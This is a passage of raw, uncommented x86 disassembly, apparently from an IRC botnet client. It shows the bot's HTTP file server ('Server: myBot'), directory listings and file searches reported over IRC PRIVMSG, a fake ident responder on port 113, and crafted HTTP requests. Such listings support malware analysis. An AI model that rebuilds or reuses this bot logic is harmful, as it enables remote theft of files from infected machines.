[ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4171D0 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_4171D0 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_40DDBD push offset aTextHtml ; "text/html" jmp short loc_40DDC2 ; --------------------------------------------------------------------------- loc_40DDBD: ; CODE XREF: sub_40DD58+5Cj push offset aApplicationOct ; "application/octet-stream" loc_40DDC2: ; CODE XREF: sub_40DD58+63j lea eax, [ebp+var_9C] push eax call sub_4171D0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2750000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 27412EBh lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40DE3B lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4171D0 add esp, 24h jmp short loc_40DE5C ; --------------------------------------------------------------------------- loc_40DE3B: ; CODE XREF: sub_40DD58+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4171D0 add esp, 28h loc_40DE5C: ; CODE XREF: sub_40DD58+E1j lea eax, [ebp+var_1654] push edi push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_445398 cmp [ebp+var_A4], edi jnz short loc_40DE9C lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40E80C pop ecx pop ecx jmp short loc_40DEB9 ; --------------------------------------------------------------------------- loc_40DE9C: ; CODE XREF: sub_40DD58+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40E18A add esp, 10h loc_40DEB9: ; CODE XREF: sub_40DD58+142j push [ebp+var_44C] call dword_4453E0 push [ebp+var_B4] call sub_40916F pop ecx push edi nop call near ptr 2700000h pop edi pop esi sub_40DD58 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DEDA proc near ; CODE XREF: sub_40D8F7+3C6p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417070 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40DF10 push eax push offset aS_20 ; "\\%s" jmp short loc_40DF19 ; --------------------------------------------------------------------------- loc_40DF10: ; CODE XREF: sub_40DEDA+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_21 ; "%s" loc_40DF19: ; CODE XREF: sub_40DEDA+34j lea eax, [ebp+var_10C] push eax call sub_4171D0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_414BE0 test eax, eax pop ecx jbe short loc_40DFB4 mov [ebp+arg_8], 2 loc_40DF44: ; CODE XREF: sub_40DEDA+D8j lea eax, [ebp+var_10C] push eax call sub_414BE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40DF84 cmp [ebp+esi+var_10C], 25h jnz short loc_40DF84 cmp [ebp+esi+var_10B], 32h jnz short loc_40DF84 cmp [ebp+esi+var_10A], 30h jnz short loc_40DF84 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40DF9E ; --------------------------------------------------------------------------- loc_40DF84: ; CODE XREF: sub_40DEDA+7Aj ; sub_40DEDA+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40DF94 push 5Ch pop eax jmp short loc_40DF97 ; --------------------------------------------------------------------------- loc_40DF94: ; CODE XREF: sub_40DEDA+B3j movsx eax, al loc_40DF97: ; CODE XREF: sub_40DEDA+B8j mov [ebp+ebx+var_210], al loc_40DF9E: ; CODE XREF: sub_40DEDA+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_414BE0 cmp esi, eax pop ecx jb short loc_40DF44 loc_40DFB4: ; CODE XREF: sub_40DEDA+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_1 ; "%s%s" push eax call sub_4171D0 lea eax, [ebp+var_314] push offset asc_440CD0 ; "\n" push eax call sub_417620 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26B0C38h push 1 cmp eax, 10h pop esi jz short loc_40E002 cmp eax, 0FFFFFFFFh jnz short loc_40E005 push [ebp+arg_0] jmp short loc_40E081 ; --------------------------------------------------------------------------- loc_40E002: ; CODE XREF: sub_40DEDA+11Cj mov [ebp+var_4], esi loc_40E005: ; CODE XREF: sub_40DEDA+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40E012 mov [ebp+var_4], esi loc_40E012: ; CODE XREF: sub_40DEDA+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40E08C cmp [ebp+arg_C], edi jz short loc_40E080 lea eax, [ebp+var_314] push offset asc_440CD4 ; "*" push eax call sub_4184D0 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4171D0 lea eax, [ebp+var_210] push eax call sub_40E8C9 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4171D0 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_40E0DB ; --------------------------------------------------------------------------- loc_40E080: ; CODE XREF: sub_40DEDA+14Fj push ebx loc_40E081: ; CODE XREF: sub_40DEDA+126j call dword_4453E0 jmp loc_40E183 ; --------------------------------------------------------------------------- loc_40E08C: ; CODE XREF: sub_40DEDA+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2760000h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E0DB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4171D0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2750B9Bh nop push esi mov [ebp+var_330], eax call near ptr 267009Bh nop loc_40E0DB: ; CODE XREF: sub_40DEDA+1A4j ; sub_40DEDA+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_440CD8 push eax call sub_4171D0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_408E53 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_446214[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40DD58 push edi push edi call near ptr 26A08FFh nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_446224[ecx], eax jz short loc_40E155 loc_40E143: ; CODE XREF: sub_40DEDA+279j cmp [ebp+var_318], edi jnz short loc_40E183 push 5 nop call near ptr 2690599h jmp short loc_40E143 ; --------------------------------------------------------------------------- loc_40E155: ; CODE XREF: sub_40DEDA+267j push ebx call dword_4453E0 nop call near ptr 26908EFh push eax lea eax, [ebp+var_8C4] push offset unk_440D0C push eax call sub_4171D0 lea eax, [ebp+var_8C4] push eax call sub_410557 add esp, 10h loc_40E183: ; CODE XREF: sub_40DEDA+1ADj ; sub_40DEDA+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_40DEDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E18A proc near ; CODE XREF: sub_403038+2C08p ; sub_40DD58+159p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417070 mov edi, [ebp+arg_0] push offset asc_440D44 ; "\n" push edi call sub_417620 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40E1E9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_4172D0 add esp, 14h jmp loc_40E2E6 ; --------------------------------------------------------------------------- loc_40E1E9: ; CODE XREF: sub_40E18A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40E2CC call sub_414BE0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_4172D0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_4172D0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 push edi call sub_414BE0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_4172D0 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_4172D0 add esp, 0Ch jmp short loc_40E2E6 ; --------------------------------------------------------------------------- loc_40E2CC: ; CODE XREF: sub_40E18A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_4172D0 add esp, 10h loc_40E2E6: ; CODE XREF: sub_40E18A+5Aj ; sub_40E18A+140j lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 cmp [ebp+arg_C], ebx jz short loc_40E37E push [ebp+arg_C] call sub_414BE0 cmp eax, 2 pop ecx jbe short loc_40E37E push [ebp+arg_C] call sub_414BE0 sub eax, 3 pop ecx jz short loc_40E332 loc_40E326: ; CODE XREF: sub_40E18A+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40E332 dec eax jnz short loc_40E326 loc_40E332: ; CODE XREF: sub_40E18A+19Aj ; sub_40E18A+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_417770 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_4172D0 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 loc_40E37E: ; CODE XREF: sub_40E18A+17Ej ; sub_40E18A+18Cj lea eax, [ebp+var_388] push eax push edi nop call near ptr 2790000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2780000h test eax, eax jz loc_40E76F mov edi, 1FFh loc_40E3AA: ; CODE XREF: sub_40E18A+5DFj cmp [ebp+var_388], ebx jz loc_40E757 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_417870 pop ecx test eax, eax pop ecx jz loc_40E757 lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_417870 pop ecx test eax, eax pop ecx jz loc_40E757 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2770655h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2770000h nop mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja short loc_40E41F mov ecx, offset aAm ; "AM" loc_40E41F: ; CODE XREF: sub_40E18A+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_40E42B sub eax, 0Ch loc_40E42B: ; CODE XREF: sub_40E18A+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4171D0 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40E5D8 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40E4AC lea eax, [ebp+var_35C] push eax push offset aS_22 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_4172D0 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_4172D0 add esp, 28h jmp loc_40E728 ; --------------------------------------------------------------------------- loc_40E4AC: ; CODE XREF: sub_40E18A+2DBj cmp [ebp+arg_C], ebx jz loc_40E596 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_4172D0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s/" push edi push eax call sub_4172D0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 lea eax, [ebp+var_35C] push eax call sub_414BE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40E54C push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40E551 ; --------------------------------------------------------------------------- loc_40E54C: ; CODE XREF: sub_40E18A+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40E551: ; CODE XREF: sub_40E18A+3C0j lea eax, [ebp+var_248] push edi push eax call sub_4172D0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40E719 ; --------------------------------------------------------------------------- loc_40E596: ; CODE XREF: sub_40E18A+325j lea eax, [ebp+var_35C] push eax push offset aS_23 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_4172D0 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_40E5C3: ; CODE XREF: sub_40E18A+476j lea eax, [ebp+var_248] push esi push eax call sub_4172D0 add esp, 24h jmp loc_40E728 ; --------------------------------------------------------------------------- loc_40E5D8: ; CODE XREF: sub_40E18A+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40E602 push ebx push [ebp+var_368] call sub_411586 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_40E5C3 ; --------------------------------------------------------------------------- loc_40E602: ; CODE XREF: sub_40E18A+454j cmp [ebp+arg_C], ebx jz loc_40E702 push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_4172D0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_3 ; "%s%s" push edi push eax call sub_4172D0 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 lea eax, [ebp+var_35C] push eax call sub_414BE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40E6A2 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40E6A7 ; --------------------------------------------------------------------------- loc_40E6A2: ; CODE XREF: sub_40E18A+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40E6A7: ; CODE XREF: sub_40E18A+516j lea eax, [ebp+var_248] push edi push eax call sub_4172D0 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_4172D0 add esp, 1Ch jmp short loc_40E728 ; --------------------------------------------------------------------------- loc_40E702: ; CODE XREF: sub_40E18A+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_40E719: ; CODE XREF: sub_40E18A+407j lea eax, [ebp+var_248] push eax call sub_4172D0 add esp, 18h loc_40E728: ; CODE XREF: sub_40E18A+31Dj ; sub_40E18A+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 cmp [ebp+arg_8], ebx jz short loc_40E757 push 7D0h nop call near ptr 2690599h loc_40E757: ; CODE XREF: sub_40E18A+226j ; sub_40E18A+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2780000h test eax, eax jnz loc_40E3AA loc_40E76F: ; CODE XREF: sub_40E18A+215j push [ebp+arg_0] nop call near ptr 276028Ah cmp [ebp+arg_8], ebx jz short loc_40E7B2 mov eax, [ebp+var_8] cdq push edx push eax call sub_411586 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_411586 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4171D0 add esp, 14h jmp short loc_40E7E6 ; --------------------------------------------------------------------------- loc_40E7B2: ; CODE XREF: sub_40E18A+5F1j cmp [ebp+arg_C], ebx jz short loc_40E7CC lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4171D0 pop ecx pop ecx jmp short loc_40E7E6 ; --------------------------------------------------------------------------- loc_40E7CC: ; CODE XREF: sub_40E18A+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4171D0 add esp, 10h loc_40E7E6: ; CODE XREF: sub_40E18A+626j ; sub_40E18A+640j lea eax, [ebp+var_248] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_445398 pop edi pop esi xor eax, eax pop ebx leave retn sub_40E18A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E80C proc near ; CODE XREF: sub_40DD58+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 2760000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E8C4 push esi push ebx call near ptr 2750B9Bh nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_40E8BD loc_40E851: ; CODE XREF: sub_40E80C+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417070 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_40E86E mov edi, [ebp+arg_4] loc_40E86E: ; CODE XREF: sub_40E80C+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 27A0000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2730000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_445398 cmp eax, 0FFFFFFFFh jnz short loc_40E8B8 call dword_4452DC cmp eax, 2733h jnz short loc_40E8BD xor eax, eax loc_40E8B8: ; CODE XREF: sub_40E80C+9Bj sub [ebp+arg_4], eax jnz short loc_40E851 loc_40E8BD: ; CODE XREF: sub_40E80C+43j ; sub_40E80C+A8j push ebx nop call near ptr 267009Bh loc_40E8C4: ; CODE XREF: sub_40E80C+30j pop edi pop esi pop ebx leave retn sub_40E80C endp ; =============== S U B R O U T I N E ======================================= sub_40E8C9 proc near ; CODE XREF: sub_40DEDA+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_414BE0 test eax, eax pop ecx jbe short loc_40E8F2 loc_40E8DC: ; CODE XREF: sub_40E8C9+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_40E8E6 mov byte ptr [esi+edi], 2Fh loc_40E8E6: ; CODE XREF: sub_40E8C9+17j push edi inc esi call sub_414BE0 cmp esi, eax pop ecx jb short loc_40E8DC loc_40E8F2: ; CODE XREF: sub_40E8C9+11j mov eax, edi pop edi pop esi retn sub_40E8C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8F7 proc near ; CODE XREF: sub_403038+4340p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4452B8 push 6 push 1 push 2 call dword_4453C8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417070 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_445348 push [ebp+arg_10] mov [ebp+var_E], ax call sub_402561 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4452F0 cmp eax, 0FFFFFFFFh jz short loc_40E9D4 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_40E970 mov eax, offset dword_4D63AC loc_40E970: ; CODE XREF: sub_40E8F7+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_4172D0 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_445398 push esi lea eax, [ebp+var_110] push edi push eax call sub_4187B0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_445360 pop esi loc_40E9D4: ; CODE XREF: sub_40E8F7+6Bj push ebx call dword_4453E0 call dword_4452A0 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4171D0 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_40EA14 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_401445 add esp, 14h loc_40EA14: ; CODE XREF: sub_40E8F7+102j pop edi pop ebx leave retn sub_40E8F7 endp ; --------------------------------------------------------------------------- loc_40EA18: ; DATA XREF: ___:00402BD1o ; sub_403038+252Do push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_417070 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_445348 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4453C8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40EB79 mov eax, [ebp+8] push edi imul eax, 234h mov dword_44621C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_445374 cmp eax, 0FFFFFFFFh jz loc_40EB79 push 5 push ebx call dword_445370 cmp eax, 0FFFFFFFFh jz loc_40EB79 mov [ebp-0Ch], edi mov edi, 200h loc_40EAA3: ; CODE XREF: ___:0040EB02j ; ___:0040EB62j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4453DC cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40EB74 movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4453D4 push eax lea eax, [ebp-238h] push offset dword_44121C push eax call sub_4171D0 lea eax, [ebp-238h] push eax call sub_410557 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_445360 cmp eax, 0FFFFFFFFh jz short loc_40EAA3 lea eax, [ebp-238h] push esi push eax call sub_411B48 push 0Ch lea eax, [ebp-38h] push esi push eax call sub_417070 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_408B4C push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_4172D0 add esp, 34h lea eax, [ebp-238h] push esi push eax call sub_414BE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_445398 cmp eax, 0FFFFFFFFh jz loc_40EAA3 mov dword ptr [ebp-8], 1 jmp loc_40EAA3 ; --------------------------------------------------------------------------- loc_40EB74: ; CODE XREF: ___:0040EAB8j cmp [ebp-8], esi jnz short loc_40EBA0 loc_40EB79: ; CODE XREF: ___:0040EA5Fj ; ___:0040EA83j ... call dword_4452DC push eax lea eax, [ebp-238h] push offset dword_441260 push eax call sub_4171D0 lea eax, [ebp-238h] push eax call sub_410557 add esp, 10h loc_40EBA0: ; CODE XREF: ___:0040EB77j push ebx call dword_4453E0 push dword ptr [ebp-4] call dword_4453E0 push dword ptr [ebp+8] call sub_40916F pop ecx push esi call near ptr 2700000h nop pop edi pop esi pop ebx loc_40EBC3: ; DATA XREF: sub_403038+4D0Ao push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_417070 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_445348 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4453C8 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_40ED2F mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_44621C[ecx], eax call dword_445258 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_445374 test eax, eax jnz loc_40ED2F push 0Ah push dword ptr [ebp+8] call dword_445370 test eax, eax jnz loc_40ED2F loc_40EC73: ; CODE XREF: ___:0040EC89j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4453DC mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40EC73 movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4453D4 push eax lea eax, [ebp-350h] push offset 